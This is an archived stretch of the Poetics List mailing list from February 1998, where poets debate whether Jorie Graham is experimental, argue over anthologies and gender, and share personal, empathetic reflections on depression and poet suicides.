it includes the sense of a finished act that is not the site,
not the place, not the point-of-view,

but what remains in point-of-view,

what OCCUPIES point-of-view---

necessarily a soul, a subject---

a power of envelopment AND development,

folding when enveloped, unfolding when developed---

an implication, an explication, a complication---

a sort of city---

the course of a given street and that of another---

an infinite series of curvatures, of inflections---

the entire world enclosed in the soul by point-of-view---

Is something else needed?

Is a realization in matter also required?

We cannot be sure.

The soul has no windows by which anything
could come in or go out. It has no opening. It has no doorway.

Everything is drawn out of it, nothing comes in.

It is a cell. It resembles a sacristy more than an atom.

All activity takes place on the inside.

An inside without an outside.

We decorate the inner walls.

As its correlative, think of the independence of the facade.

The facade is riddled with holes, although there is no void

(a hole being only the site of a more rarefied matter)---

**

Come now, let us go.

↑ Index

817. Henry Gould
Re: Jorie Graham
Fri 20 Feb 1998

---

is Jorie Graham, in other words, a stealth bomb?
- Henry Gould

↑ Index

818. **Gwyn McVay**
Other stealth bombs?
Fri 20 Feb 1998

This week's Washington City Paper. Very strange. Announces impending double bill of Brenda Hillman and James Tate. Describes both as "language poets," lowercase, no =.

Next: "Famed Dadaist Dana Gioia reads..."? "Discussion of the poems of working-class bard Robert Lowell..."?

baffled on the beltway

↑ Index

819. **Henry Gould**
Re: "stops"
Fri 20 Feb 1998

The problem stems from too short a present tense. It's just before spring now and it looks like an old season without a name, squeezing in between younger more well-known seasons, trying to imitate a young fall. Small modest birds investigate twigs on vestiges of old snow. Automobiles agree with this weather. They fit into the mold - metal fungi. Somewhere out there a crazy old man is rolling cans of baked beans all the way down the block.

- Henry Gould, SPRING IN HARLORN NINT, 1970

↑ Index

820. **Poetics List Administration**
silly fact No. 215
Fri 20 Feb 1998

The ten meg file comprised of the Poetics List digests from September-January, was more than 5000 pages long when opened by MSWord.

↑ Index

821. **Joe Brennan**
Re: suicide
Fri 20 Feb 1998

I think we're on the same page. My reaction is well yeah, most poets that I've met who attained any reputation were drunks, druggies and more than a few severely depressed. But isn't it enough that they do the work? Do they also have to be model citizens, correct in every way? Life for many people is nearly unbearable, and when ambitions are achieved and what's discovered is the

same emptiness they were so desperately trying to escape from, it's small wonder they're bitter. Of course this doesn't include everyone, but it includes enough of them that one can fairly view it as one of the risks of the profession, which is hard enough without having to live up to whatever bourgeoise standards are in vogue. I'm trying to stay out of this one, but I agreed with the sensibility of your post and wanted to tell you that.

Joe Brennan

↑ Index

822. **Henry Gould**
Re: Jorie Graham Experimental?
Fri 20 Feb 1998

---

keep working on it, Aviva. She's got a good set of ears. Her anagram is: Ham rragje io... which you could read as "I am rage" or "ham radio". - Henry Gould

↑ Index

823. **Tom Beckett**
Re: suicide
Fri 20 Feb 1998

As (Uncle) Sam Beckett once wrote:
"Ever tried. Ever failed. No matter. Try again. Fail again. Fail better."
TomB

↑ Index

824. **Henry Gould**
Re: poet suicides
Fri 20 Feb 1998

---

as I understand it this message about Mandelstam supports what I was saying earlier about the Plath/Hughes syndrome as an example of an unconscious scapegoating-martyrdom event in which a whole culture partakes. Mandelstam baited Stalin in the same way Plath baited Hughes (& Hughes took the bait). Drink the poison poem. You must change your life. - Edgar Poe a.k.a. "Eric Blarnes"

↑ Index

825. **Henry Gould**

plath/hughes etc.

Fri 20 Feb 1998

---

some selections from TALISMAN (no, not the NJ mag - TALISMAN, Blake high school, Hopkins, MN, 1970):

What happens when a clown rapes a dancing girl is quite the obvious, a circus of sex. A circus of sex. A circus of sex. A fellow is a fellow but a gentleman is a circus of sex. A mirage is too clear but a genuine stiff upper lip is a circus of sex. A clean cut pokey is crude but a maiden in disguise is a circus of sex. Slice the bread, slice the bread! Butter the circus of sex. The proverbs stand alone in the ring of the circus of sex. - Steve Brooks (what ever happened to Steve Brooks? he started a polka-funk band in Minneapolis in the mid 70s. Played at the Walker Art Center. Fronted for Rendered Useless? Maybe. This poem explains: Clinton, Plath/Hughes, Lady Di.)

Man reaches out into space
with his fingers of fire
stretching outward and upward
finally the fingers grasp something

and man stands on the moon
up in the infinite kaleidoscope of space
collecting dust worth almost more
than a human life

and while man continues to reach out
a ghetto baby cries, his stomach empty
and reaches out for love
the tiny fingers reach out and grasp
nothing.
- Phil Martin
(what happened to Phil Martin? he's probably an accountant somewhere - maybe Bloomington)

Withdrawn from
laughaminute world
salesman at the door
Mr. D.D. Thompson sells
easywayout (?)
surefire combined
mass murder-suicide
program
ABCNBCBS blares

kick pet rabbits around
the yard (to relax)
- JAS. E. JUUL

(who the hell is J. Juul? a pseudonym? probably the REAL accountant)

The bushel was full,
when the dawn saw its child,
lost among the rushes,
in the swamp.
The hut of the peasant was considered lowly,
the store of the merchant quiet,
and when the armies marched north,
all was left behind.
The hills were flatted against a landscape of mellowed tones,
and the cart was full of lettuce heads,
serving the flies in the air like kings.
- Steve Brooks

(I don't know what ever happened to Steve Brooks, accordion player and Minneapolis pop star circa 70s. But note how via Steven Crane he has one-upped, by means of parody, both Ezra Pound and John Ashbery. And he's not even a poet.)

- Henry Gould, editor, TALISMAN (Hopkins, MN), 1970

↑ Index

826. **Maria Damon**
Re: poet-heroes, suicide and women's lot
Sat 21 Feb 1998

---

whoa! mark weiss writes, among other thihngs"

I've known several women writers whose husbands' work funded their literary careers and afforded them lots of time for writng. I don't know too many men who can say that.

to which i reply:

i know lots of cases in which women worked to put their husbands thru law school, medical school, business school, etc, only to be dumped when hubby finished, got a job, and met some sexier, funner chick in med school law school, etc or on the job.

i'm with katie on this, but i've long since learned that POETIX isn't necessarily open to such discussions, so i just roll my eyes where youall can't see me.

md

↑ Index

827. Henry Gould
Spring in Harlorn Nint
Sat 21 Feb 1998

I walked to school on the first day of Spring. I felt the earth rotating. A dog barked pleasantly. I saw puddles in the ground. In a meadow turning green, I think it was part of a golf course, I saw eight or nine young girls laughing and dancing around. They were carrying a young sapling which was decorated with green, red and white ribbons and had a crown of pine branches on top. They carried the tree down a slope to the edge of a pond from which the ice had just melted. Then one of them took from a bag what looked like a burnt piece of wood and a paper Halloween skeleton. With great solemnity they tossed the wood and the skeleton into the pond and shook the young sapling over them. Then, giggling, they danced back over the hill and out of sight.

- Henry Gould, SPRING IN HARLORN NINT (1970)

↑ Index

828. Mark Weiss
Re: poet-heroes, suicide and women's lot
Sat 21 Feb 1998

As I said, I was trying to make trouble. But to be serious for a moment, as I also said, I'm under no illusion that the gender playing field is level. Life is usually not very fair, and is clearly less fair to women than to men. Just pointing out that broad generalizations do little justice to the more nuanced actuality. To quote the opening to the very brief message to which you are reacting, "If we generalize enough all distinctions get lost." Hopefully your eyes don't roll whenever someone in basic agreement suggests a mild modification.

At 11:18 PM 2/20/98 -0600, you wrote:
>whoa! mark weiss writes, among other thihngs"
>
>I've known several women writers whose husbands' work funded their literary
>careers and afforded them lots of time for writng. I don't know too many
>men who can say that.
>
>to which i reply:
>
>
>i know lots of cases in which women worked to put their husbands thru law
>school, medical school, business school, etc, only to be dumped when hubby

>finished, got a job, and met some sexier, funner chick in med school law
>school, etc or on the job.
>
>i'm with katie on this, but i've long since learned that POETIX isn't
>necessarily open to such discussions, so i just roll my eyes where youall
>can't see me.
>
>md
>
>

↑ Index

829. **David Israel**

"stops" & "nonstop"

Sat 21 Feb 1998

Anent Tom Beckett's "stops"

am reminded of the contra project

of w s merwin removing all his punctuation

(like he said pulling out the nails [or tacks?] that were

holding the poem down to the page allowing it

to lift off) a thing he started doing in the

70s or thereabouts & then

never stopped

he allowed that reading such unpunctuate po

"slowed" somewhat the reading

usefully

(syntax rendered
in his particular use of that
some modest puzzle to parse betimes)

d.i.

p.s.:

last night Christopher Walken [sp?] in Bravo's "The Actor's Studio" interview

allows a thing he does w/ a approach to a script is to cross out all affect stage direction & likewise all the punctuation

(e.g., write out one's lines sans suchlike)
so one can read the text & figure it through oneself

he also claimed he speaks w/o any punctuation
the assertion proved incredible from the evidence

↑ Index

830. Don Wellman
Re: Guardian Angel of the Swarm
Sat 21 Feb 1998

--the text of Jorie Grahm's sems to need to be read against "A Thousand Plateaus" (Deleuze and Guattari). ... and that reading for me melds with two other threads. Psychoanalysis and poetry "rhizoming" into schizzoanalysis.

On suicide and depression, etc? This is simplistic: depression can drive one to seek an edge-experience. Some think of Plath's suicide as a muffed attempt to return again from the edge--well that is debatable ...

... alcoholism ... that is killing yourself slowly ... there is writing in the face of wanting to die (even if that whish is in denial) ... and all of this as I imagine it is "depressingly" normal in those stratas of society that produces self-identified poets. I have read William's "Desert Music" this way.

... still, the willful pursuit of an edge experience. I find it impossible to deny that this has value for poetry: Artaud, Rimbaud ... even engineers of formalism are often sadistic.

Don Wellman

↑ Index

831. Suzanne Burns
Re: Jorie Graham
Sat 21 Feb 1998

On Fri, 20 Feb 1998, k. lederer wrote:

> *That's why Plath is such an interesting case--*
>
> *Her work, in my view, is incredibly "experimental" and "avant-garde"*
> *because her tone and general content were so emotionally innovative--*

I was looking at two of her poems "Whiteness I Remember" (an early horse poem which takes a very conventional, autobiographical approach) versus "Ariel" (back to the horse agin, but with wildly experimental language, a much

more spare use of form, much more tension, and much more emotional depth and immediacy).

Quite a leap, in my opinion. Looking at the earlier work, you would never think it possible. Graham in my opinion doesn't change much emotionally-- she does, however, have a brilliant mind and I like the thought in her poems.

Suzanne

↑ Index

832. **Tim Wood**
Re: Rasula & Jorie Graham & Kostelanetz
Sat 21 Feb 1998

> "The messianic temptation of oppositionality has proven too tempting,
>apparently. But we should be motivated to wonder about this latest pride in
>heresy. If countermeasures are intended, what purpose is served by making
an
>orthodoxy of the unorthodox? ...The fallacy of revolutionary thinking in the
>literary milieu, suggests Wolfgang Iser, is the temptation 'to believe
that by
>negating something, you have already grasped its otherness... With pure
>negation, the revolution remains dependent upon that which it negates, and
the

Interesting... I'd like to sit in on dinner with you & Marcuse and watch the "discussion".

Tim

_____ Tim Wood
[redacted]

↑ Index

833. **Randy Prunty**
Re: Jorie Graham Experimental?
Sat 21 Feb 1998

My name is Randy Prunty and I joined this List in January. My Atlanta poetry comrade, Mark Prejsnar, got the List off on this Graham thread, which he probably knows I can't resist. Up until one year ago, I had never had an interest in poetry of any kind. I stumbled across some work by Jorie Graham and I was HOOKED! For about six months I read and reread everything I could get my hands on by her. At the same time, I was looking around to find other poets that had the same energy, tension, intellectual questing that Graham has - for

me. I had no luck (anybody wanta buy a bunch of "mainstream" books and journals?) until I found the world of experimental, non-mainstream, poetry. Now, I'm really hooked on poets like Coolidge, Bernstein (the elder, though I'd like to see some work by Berstein age 12 1/2), and all these crazy poetry mags I find on Selby's list. So would you say that, for me, Jorie Graham was an intro to the avant-garde? A bridge? By the way, I only occasionally go back and read her works. And it seems odd to me that I find her "middle" books - End of Beauty, Region of Unlikeness, and Materialism- more interesting than her recent Errancy. That is, Errancy at least looks more experimental. And a note to Aviva. Except for the pressure of your deadline, it sounds like you are in a great place! I'm guessing that the process you are going through will turn out to be more "important" to you than the product of your thesis. I would love to hear how all this turns out for you.

Randy

↑ Index

834. Joe Amato/Kass Fleisher
Re: Plath and Hughes
Sat 21 Feb 1998

nice post, emma b!...

happy to make yr acquaintance, randy!...

best,

joe

↑ Index

835. Joe Brennan
Re: poet-heroes & suicide
Sat 21 Feb 1998

In a message dated 98-02-20 17:39:43 EST, you write:

<<
http://muse.jhu.edu/journals/postmodern_culture/v006/6.3r_amato.html

(you need access to project muse to get to pmc)

i feel like i'm advertising myself around here, apologies even as i hit SEND///

best,

joe

how does one get access to project muse -- & what is it?

Joe Brennan

↑ Index

836. Maria Damon
Re: Jorie Graham Experimental?
Sat 21 Feb 1998

At 11:13 PM -0500 2/20/98, Henry Gould wrote:
>keep working on it, Aviva. She's got a good set of ears. Her anagram is:
>Ham rragje io... which you could read as "I am rage" or "ham radio".
>- Henry Gould

or nam yo ho renge kyo

↑ Index

837. Maria Damon
Re: poet-heroes, suicide and women's lot
Sat 21 Feb 1998

At 12:30 AM -0800 2/21/98, Mark Weiss wrote:
>As I said, I was trying to make trouble. But to be serious for a moment, as
>I also said, I'm under no illusion that the gender playing field is level.
>Life is usually not very fair, and is clearly less fair to women than to
>men. Just pointing out that broad generalizations do little justice to the
>more nuanced actuality. To quote the opening to the very brief message to
>which you are reacting, "If we generalize enough all distinctions get lost."
>Hopefully your eyes don't roll whenever someone in basic agreement suggests
>a mild modification.
>

mark: there was no indication in the post that you were in basic agreement.
phrases like "life is usually not very fair" are patronizing. assertions
such as "I've known several women writers whose husbands' work funded their
literary
>careers and afforded them lots of time for writng. I don't know too many
>men who can say that" indicate such a degree of either ignorance or
>willful feminist-baiting that it's hard to know how to have a
>conversation. so let's give it a rest. i'm sorry i bit the bait.

↑ Index

838. **Maria Damon**
Re: Rasula & Jorie Graham & Kostelanetz
Sat 21 Feb 1998

At 8:53 AM -0600 2/21/98, Tim Wood wrote:
>> "The messianic temptation of oppositionality has proven too tempting,
>>apparently. But we should be motivated to wonder about this latest pride in
>>heresy. If countermeasures are intended, what purpose is served by making
an
>>orthodoxy of the unorthodox? ...The fallacy of revolutionary thinking in the
>>literary milieu, suggests Wolfgang Iser, is the temptation 'to believe
>that by
>>negating something, you have already grasped its otherness... With pure
>>negation, the revolution remains dependent upon that which it negates, and
>the
>
...
this is one of the points (in a different, and, i think, more useful
because more wide-ranging context) i appreciated about watten's ILS essay
--its interrogation of "oppositionality" as a sufficient rationale for
certain (claims about) "innovative" poetries, esp those that estrange the
quotidien relationship of "meaning" to utterance.

↑ Index

839. **Maria Damon**
Re: Guardian Angel of the Swarm
Sat 21 Feb 1998

---

on suicide: i read a very compelling and helpful argument that people are driven to suicide when their pain exceeds the resources they have for coping; i found this little rule of thumb helpful for demystifying the cult or the fear or the stigmatizing of suicides or depressives who have been drawn to suicide. that was in a book called "out of the nightmare" --can't remember the author. he also, as others have on the list, makes the important point that often suicides or attempted suicides occur in families either where there has been a suicide, or the early death of a parent.

↑ Index

840. **Joe Amato/Kass Fleisher**
Re: poet-heroes & suicide
Sat 21 Feb 1998

joe b, "project muse" is what johns hopkins calls their consortium of online journals (speaking loosely, but i think this is a good way to describe same)... it costs something like (i think) $50 a year to subscribe to their offerings (i don't know if that's institutional or individual---fortunately, even my relatively impoverished institution subs)... this was a controversial move on the part of _postmodern culture_, as detailed by joel felix (in detail) in the latest issue of the _electronic book review_ (ebr), which IS free... you can get to ebr6 at

http://www.altx.com/ebr/ebr6/ebr6.htm

for a full discussion by joel of the ins & outs of this controversy (and it's an ass-kicking issue all the way 'round---part 1 of 'image & narrative'---i'd encourage any and all around here to spend some time with it)... it's fair to say that many hands were (publicly & privately) wrung over this decision...

apologies if i've botched any of the details here... best to turn it over to joel f's piece...

best,

joe (a)

↑ Index

841. **Don Byrd**
Rasula & Jorie Graham & Kostelanetz
Sat 21 Feb 1998

The following passage from Rasula's _Wax Museum_ does a great deal to explain his strategy in the book and in his on-going assault on a poetry establishment that persistently rewards safe mediocrity with canonization, academic jobs, literary prizes, and commercial publishing. In dealing with the anthologies of Weinberger, Messerli, and Hoover, whose tastes Rasula undoubtedly shares, he writes:

"The messianic temptation of oppositionality has proven too tempting, apparently. But we should be motivated to wonder about this latest pride in heresy. If countermeasures are intended, what purpose is served by making an orthodoxy of the unorthodox? ...The fallacy of revolutionary thinking in the literary milieu, suggests Wolfgang Iser, is the temptation 'to believe that by negating something, you have already grasped its otherness... With pure negation, the revolution remains dependent upon that which it negates, and the more radical the destruction, the more inevitably it must lead to self-destruction.' The

spectre of autonomous opposition summoned by these anthologies ends up serving the reactionary forces they oppose....

"It seems to me the truly seditious anthologist now should go poaching, retain the geneaological profile as a courtesty, but not rely on it for the crutch of indignation or heoric price. When the world of Associated Writing Programs has to contend to with an anthology that puts Jorie Graham and C.K WIlliams next to a swarm of language poets, then and only then will it be forced to confront its own ideological dispensation beginning to erode as if from within."

Rasula's practice is consistently seditious in this sense. In fact, he has made the American Poetry Wax Museum so attractive (and so effective is his sedition) that Richard Kostelanetz throws a litte fit (in the recent _Poetics Briefs_) that he is not included. RK should perhaps be installed there on the list along with John Koethe, Ted Kooser, Greg Kuzma in some out of the way gallery, as real as life and as susceptible to melt-down from the heat of any real attention. (Incidentally, KR is simply wrong in his claim that Rasula failed to tabulate Paul Carroll's _The Young American Poets_ (see p. 488), and one of the other anthologies that he mentions does not appear in the OCLC combined catalog, so it obviously escaped the attention of the Wax Museum).

db

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

842. Aviva Wesley Vogel
Re: Jorie Graham Experimental?
Sat 21 Feb 1998

In a message dated 98-02-21 11:04:31 EST, you write:

<< And a note to Aviva. Except for the pressure of your deadline, it sounds like you are in a great place! I'm guessing that the process you are going through will turn out to be more "important" to you than the product of your thesis. I would love to hear how all this turns out for you.

Randy
>>

Randy, thanks for your encouragement. I'm not having much forward momentum with this thing, and I really must be done by tomorrow night. Here's the results thus far (oh pitiable chunk):

IS THERE A NEW WAY OF LOOKING?: (ON) (WITH) THE POETRY OF JORIE GRAHAM

Aviva Vogel

I stood gawking in the January snow with my four-year-old daughter. We'd just emerged from a dark house into pure sunshine. Excess energy bounced off the clean snow, the rusting jeep, silvered barn boards, sky deepening to cobalt, stands of black pine. I was dumbstruck by the ridiculous exuberance of this sassy January sun. Off to my right, about eight or nine chickens were puck-pucking and snatching at seed thrown in the snow. Across the road, pines drew light in.

Everything seemed to oscillate at incredibly high speeds, while I was dumbstruck. The chickens seemed to be crying out" yes, no! yes, no! yes, no!" at the speed of light, switching "on" and "off" in unfathomably rapid binary pulsations. I knew instantly that everything was swelling from and receding into an unbounded, infinite, invisible matrix. Even the snow, an old tire rim, my little girl in her periwinkle snowsuit, red clapboards on the house, a pony's swishing tail —all were calling out "I'm here! I'm not here! I'm here! I'm not here!" It was clear that I was just another "thing" vibrating in the snow and sunshine, an intermittent condensation or coagulation in the "atmosphere" of the matrix. I knew that nothing was "there"—that everything was "there"—that I was pulsing in and out of the matrix, too—all of us existing and not existing at tempos faster than I cared to imagine. I was caught up in a great, taunting game of warp-speed hide-and-seek.

Now it is 1998, twenty years later. I have never forgotten that incident, nor have I ever repeated it. Yet, somehow, when I read certain poems, I feel myself drawing (or drawn) near that moment/place again. I'm quite sure that Jorie Graham's poetry lures me because it seems to promise a possible reentry into that mysterious and clear domain of what I call the "on and off" of things. Graham seems compulsively preoccupied with this odd juxtaposition of the explicit and the implicit in the universe, with unconcealing some kind of schematic for the play of "what's here," along with its necessary complements—what's "potential"—and "what's not here". Graham's persistent meditation on the subject, from the first volume Hybrids of Plants and Ghosts, to her most recent, The Errancy, has undergone permutations in prosodic strategies and emotional

resilience, although she is unwaveringly engaged in "quarrying the emptiness for furling laws." (E13)

In "Notes on the Reality of the Self," (Materialism), the poem's speaker states, "Nothing is virtual." A little further on, she asks, "Is this body the one I know as me?" The slipping away of a recognizable, stable self is contrasted with the seeming reality of the "roiling" river that she is staring at. There it is, quite aggressively and vividly in front of the poem's "I", a river writhing with spring thaw, a river whose "long brown throat…is sucking up from some faraway melt…" And yet, the river is only "Expression pouring forth, all content no meaning." What kind of void (of purpose) is the speaker sensing? What insubstantiality, in spite of earlier claims that "Nothing is virtual", seeps into her mind, and what perspective on such oppositions will this poem take? Smelling "rot gasses" rising out of "dank leaves" on the riverbank, she says:

…I put my
breath back out
onto the scented immaterial. How the invisible
roils. I see it from here and then
I see it from here. Is there a new way of looking—
valences and little hooks—inevitabilities, proba-
bilities?

"Is there a new way of looking—"? This is a central question for Jorie Graham, as it is for me, and I find myself embroiled in strange and familiar waters while reading her poetry over these last few weeks. Disturbed, uncertain, flipping and spinning, I identify with the "filaments where leaf- matter accrued round a/ pattern, a law, slipping off, precariously, bit by bit,/ and flicks, and swiftnesses suddenly more water than not." I find my own moments of "rightness snapping loose," as if I'd been swept up in some manic spring flood created by the great freezing and thawing, the coherence and disintegration, the amassing and loosening, of Jorie's restless mind.

↑ Index

843. **Aviva Wesley Vogel**
Re: Jorie Graham
Sat 21 Feb 1998

Katy, I'm hoping to find more evidence of something entirely original in Graham's work than a shell of adopted formalities, but...I certainly see your point so far. I have my concerns, too, as much as I'm enamored of her themes and luscious language.

<< I think her work is interesting in that almost all of its "avant-gardeness" in the eyes of the mainstream emanates from its manner of punctuation and form--

In general at Iowa form is the dominating signifyer of "experimentalism" or "avant-gardeness"-- >>

And I believe that she takes the trajectory into new domains, influenced by quantum mechanics/physics's Uncertainty Principle, Unified Field Theory efforts, etc. Most importantly, I think that she has absolutely rejected this idea of a progressive (linear) "trajectory". As she puts it in her title poem, "The Errancy":

...the populace...just very tired on its long red errancy/ down the freeways in the dusklight/ towards the little town on the hill -- the 'crystal- formation'? --/ how long ago was it we said that? do you remember?...and the distance we've/ traveled -- ...and how little we've found -- aren't we tired?/ aren't we going to close the elaborate folder/ which holds the papers in their cocoon of possibility...perpetual bloom...dread fatigue...

I'm not sure Graham is holding out for any global and/or contingent "supreme fiction," although she's obsesses with this holy grail quest...

<<Graham is very old-school in terms of her content (as apart from her form in this example) as she is most influenced by the philosophical and aesthetic trajectories associated with W Stevens and various philosophers (from Plato to Nietzsche)-->>

More later...company just burst in...dogs, loud voices, mass confusion, god how will i get this thesis done???

↑ Index

844. k. lederer
Re: Jorie Graham Experimental?
Sat 21 Feb 1998

It seems to me that you are seconding some of the things Doug Powell said--that even if one doesn't "like" Graham's work, one has to admit that in the world of poetic politics--and what gets taught--she has done a lot to "bridge" the "gap" between "camps"--

This kind of bridging, of course, brings up some provocative questions--

I know Stein said something along the lines of "once you're assimilated into the wider culture ["popularized" so to speak] you are useless" (does anyone have the reference here? I would love to hear it...).

Being a student of Graham's I have had to think about this kind of thing a lot--

Stein, as someone pointed out recently here, was just a category on Jeopardy--where does this leave her?

How much and in what ways do "experimental" or "fringe" writers want to be
accepted into the larger culture of poetry? The larger culture of America?

What kinds of "subversions" can remain subversive once "popularized" etc.

I think this really has to do with the individual poet--

Notley's Descent, for example, is not necessarily politically subversive (in the sense that it is about tyranny etc., it is ethical in a familiar way)--the aesthetics of it are also "strange" but, as Notley says in a note at the beginning of the book, the punctuation and form are meant to remind the reader that this is a spoken text--a medium to be "listened" to, not just read, again a perfectly "normal" impulse on Notley's part--

Scalapino's ontological explorations are of a different nature--perhaps the "findings" of her work are a little bit more difficult to swallow--perhaps the "experimental" nature of this work would suffer from popularity--perhaps.

And so on--

I notice that more and more (particularly female) writers from such "mainstream" environments as Iowa are writing "strangely" and, in some sense because of their pedigrees, are publishing their "strange" poems in mainstream journals (I am thinking here of Hillman and Claudia Keelan)--

For me the Graham issue--even the Stein issue--speaks more to pedigree and its effects on critical and cultural reception--not so much to the work itself--

Best,
Katy

***

On Sat, 21 Feb 1998, Randy Prunty wrote:

> *My name is Randy Prunty and I joined this List in January. My Atlanta poetry comrade, Mark Prejsnar, got the List off on this Graham thread, which he probably knows I can't resist.*
> *Up until one year ago, I had never had an interest in poetry of any kind. I stumbled across some work by Jorie Graham and I was HOOKED! For about six months I read and reread everything I could get my hands on by her. At the same time, I was looking around to find other poets that had the same energy, tension, intellectual questing that Graham has - for me. I had no luck (anybody wanta buy a bunch of "mainstream" books and journals?) until I found the world of experimental, non-mainstream, poetry. Now, I'm really hooked on poets like Coolidge, Bernstein (the elder, though I'd like to see some work by Berstein age 12 1/2), and all these crazy poetry mags I find on Selby's list.*
> *So would you say that, for me, Jorie Graham was an intro to the avant-garde? A bridge?*
> *By the way, I only occasionally go back and read her works. And it seems odd*

> *to me that I find her "middle" books - End of Beauty, Region of Unlikeness, and Materialism- more interesting than her recent Errancy. That is, Errancy at least looks more experimental.*
> *And a note to Aviva. Except for the pressure of your deadline, it sounds like you are in a great place! I'm guessing that the process you are going through will turn out to be more "important" to you than the product of your thesis.*
> *I would love to hear how all this turns out for you.*
>
> *Randy*

↑ Index

845. **Tom Beckett**
depression,suicide
Sat 21 Feb 1998

Depression. Suicide. I've been following the conversation for the last few days and was trying to stay out of it but I can't. Here goes...I can put a face on this--my own. Depression is a fact of my life that I am trying to deal with. It is difficult to communicate how stifling, how oppressive, how overwhelming and crippling it can be if you've not experienced it. I goes well beyond "having a bad day" and involves patterns of obsessive thinking that one has to learn how to shut off if one is to survive. There are no easy fixes. A pill might help but it can ultimately only be part of the answer.

When I was a small child, I suffered a head trauma that caused epilepsy and that took away many aspects of my physical coordination. Before the trauma I could turn somersaults, afterwards not. Before I had normal fine motor skills, afterwards not,etc. The !950s were not great years in which to be epileptic, different, hyperactive, uncoordinated, unusually tall, and emotionally uncertain. I was beaten up regularly. Add in an authoritarian father who found me disappointing. It, I, was a problem. I was shunted to doctors, psychs, medicated (for 16 years), hooked to machines, sent to a "special school" (grades 3 to 5) that taught me nothing but that I was abnormal. Resources for kids with these kinds of problems are better now but in the 50s and early 60s it was a nightmare. I learned to be fearful. I learned to feel incompetent. I've always felt that I don't belong anywhere. It has made for difficulties (that damn word again).

More recently I've had years of pain from a back injury which is now better and last spring I was physically assaulted while doing an housing inspection at a low income housing project.

All of this is shorthand for things that could be gone on about at booklength. I'll resist the impulse. What I'm trying to suggest (beyond whining) is that there

are many layers to a person's depression. It occurs in context(s). I, for one, need better coping skills. I'm trying to get them.

Suicide is an unfortunate outcome. But I understand all too well how it can happen. We don't all have the same pain thresholds--or the same learning opportunities. I wish Walter Benjamin hadn't killed himself. (Imagine him surviving to live in NY and encounter a young Charles Bernstein in Central Park.) But I understand why he did. I might well have behaved similarly. To call suicide an act of cowardice is not helpful. In our "just do it" culture sometimes we need to extend a little more empathy--perhaps seeking clarification rather than dismissing out-of-hand what scares us . Enough. Tom Beckett

↑ Index

846. Keston Sutherland
Re: More appalling officiousness of the week
Sat 21 Feb 1998

Ron says:

Teach what you believe in, or don't bother. There's too much good poetry out there to ever be covered in one college career, let alone one course. To waste it on "official verse culture" is to simply contribute to the a-literacy and poetry-phobia that innundates us all.

The more overt officiating here is precisely in your (Ron) imperative that teachers should act as if their pupils are so stupid that they can't make up their minds for themselves. "Malpractice" - that's just petulant. Never mind, you'll be smeared all over those syllabi soon enough sit tight

K

↑ Index

847. Jordan Davis
Building a bridge to the 21st c.
Sat 21 Feb 1998

Whenever Jorie Graham is quoted to me it's always something about how tiring it is, doing all this observing, or the endlessness of keeping things going, the burden! Do I hafta? she seems always to be saying. (Rhymes with NAFTA)

It's possible she's been misrepresented to me -- there could be lots of joy, or even scrumptious emptiness there. David Lehman's poem "Big Hair" in a recent TLS indicates some emptiness .. somewhere ..

Hoping Mark Baker will versify these half-thoughts,
Jordan

↑ Index

848. **Karen Kelley**
Re: depression,suicide
Sat 21 Feb 1998

Tom Beckett wrote:
>
>I learned to be fearful.

Well, your post is MOST courageous.

↑ Index

849. **david bromige**
the suicide thread
Sat 21 Feb 1998

Tom, bully for you. (I've known Tom fairly well for 12 years, folks, and all I knew of what he reveals today, was that he was tall and had back trouble!) In the USA of all places it is difficult to admit to depression, "Hey Dave howya doin?" "Great, just Great, Biff! And you?" "Couldnt be better!" Depression is often clinical, something's depriving you of your serotonin. We can argue chicken-&-egg re psych trauma brings that on, or that condition baffles others who react badly, causing pysch trauma. Kate Braverman titled her novel _Lithium for Medea_ . I have friends who prefer even the downer side-effects of Lithium, to the swings of depression/hypomania. But letting it all hang out is therapeutic, and not just for oneself. I recall at my most unhappy, looking down from a 4th story window into a parkinglot, but being unable to jump. My recovery began there, I guess.

Recall these verses from "Trouble in Mind"?

"I'm gonna lay my head/ on that lonesome railroad line/ Let the 2:19/ Pacify my mind . .. . I'm gonna lay my head/ On that lonesome railroad track,/ But when I hear that whistle blow/ I'm gonna pull it back."

I mourn those of my friends who got to the first verse one time more often than they got to the second. db3

↑ Index

850. **Thomas Bell**
Re: poet suicides
Sat 21 Feb 1998

May be having an owly day, but all these suicides may have little to do with poetry, hard as this is for me to see. There are times that neurochemistry, genetics, and/or thorny people and sticky philosophical/ socioeconomic situations might play a role, no? tom bell (wrestling with sat am thorniness/orneriness)

At 10:18 AM 2/21/98 +0800, Schuchat Simon wrote:
>I appreciate David Bromige's distinction between risktaking and "heroic
>suicide," and some others have noted the anti-social behavior aspect of
>poetic heroism. My question is, what about Osip Mandelstam? Wasn't his
>"anti-social behavior" (comparing Stalin's mustache to a cockroach, etc,
>in a poem) or, should we call it risk-taking?, also suicidal?
>
>Joseph Brodsky, in his essay on Mandelstam, argues that Mandelstam's
>character as a poet would have led to his "doom" anywhere, not just in
>Stalin's Russia. Brodsky isn't criticising Mandelstam when he says this,
>he is making the point that Mandelstam was not fundamentally political,
>he was just a poet.
>
>Mandelstam did try to reform his behavior, by the way, attempting to
>write a panegyric to Stalin, but it couldn't compensate for the cockroach
>metaphor.
>
>Meanwhile, Osip left behind Nadzhevda (I'm sure I misspell, from memory),
>who doesn't seem to resent Osip for leaving her behind, but rather those
>persons and forces that put him in his position in the first place.
>
>

↑ Index

851. **Joe Brennan**
Re: depression,suicide
Sat 21 Feb 1998

Tom: this is a gutsy post and hopefully will add a dimension to this discussion that will make some folks a litte more circumspect before they engage in blanket generalizations that diminish rather than expand the possibility of understanding.

Joe

In a message dated 98-02-21 15:53:22 EST, you write:

<< Depression. Suicide. I've been following the conversation for the last few days and was trying to stay out of it but I can't. Here goes...I can put a face on this--my own. Depression is a fact of my life that I am trying to deal with. It is difficult to communicate how stifling, how oppressive, how overwhelming and crippling it can be if you've not experienced it. I goes well beyond "having a bad day" and involves patterns of obsessive thinking that one has to learn how to shut off if one is to survive. There are no easy fixes. A pill might help but it can ultimately only be part of the answer.

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---------- Headers ----------
Return-Path: <[redacted]>
Received: from relay20.mail.aol.com (relay20.mail.aol.com [172.31.106.66])

by air05.mail.aol.com (v39.9) with SMTP; Sat, 21 Feb 1998 15:53:22 -0500
Received: from PEAR.EASE.LSOFT.COM (pear.ease.lsoft.com [206.241.12.19])
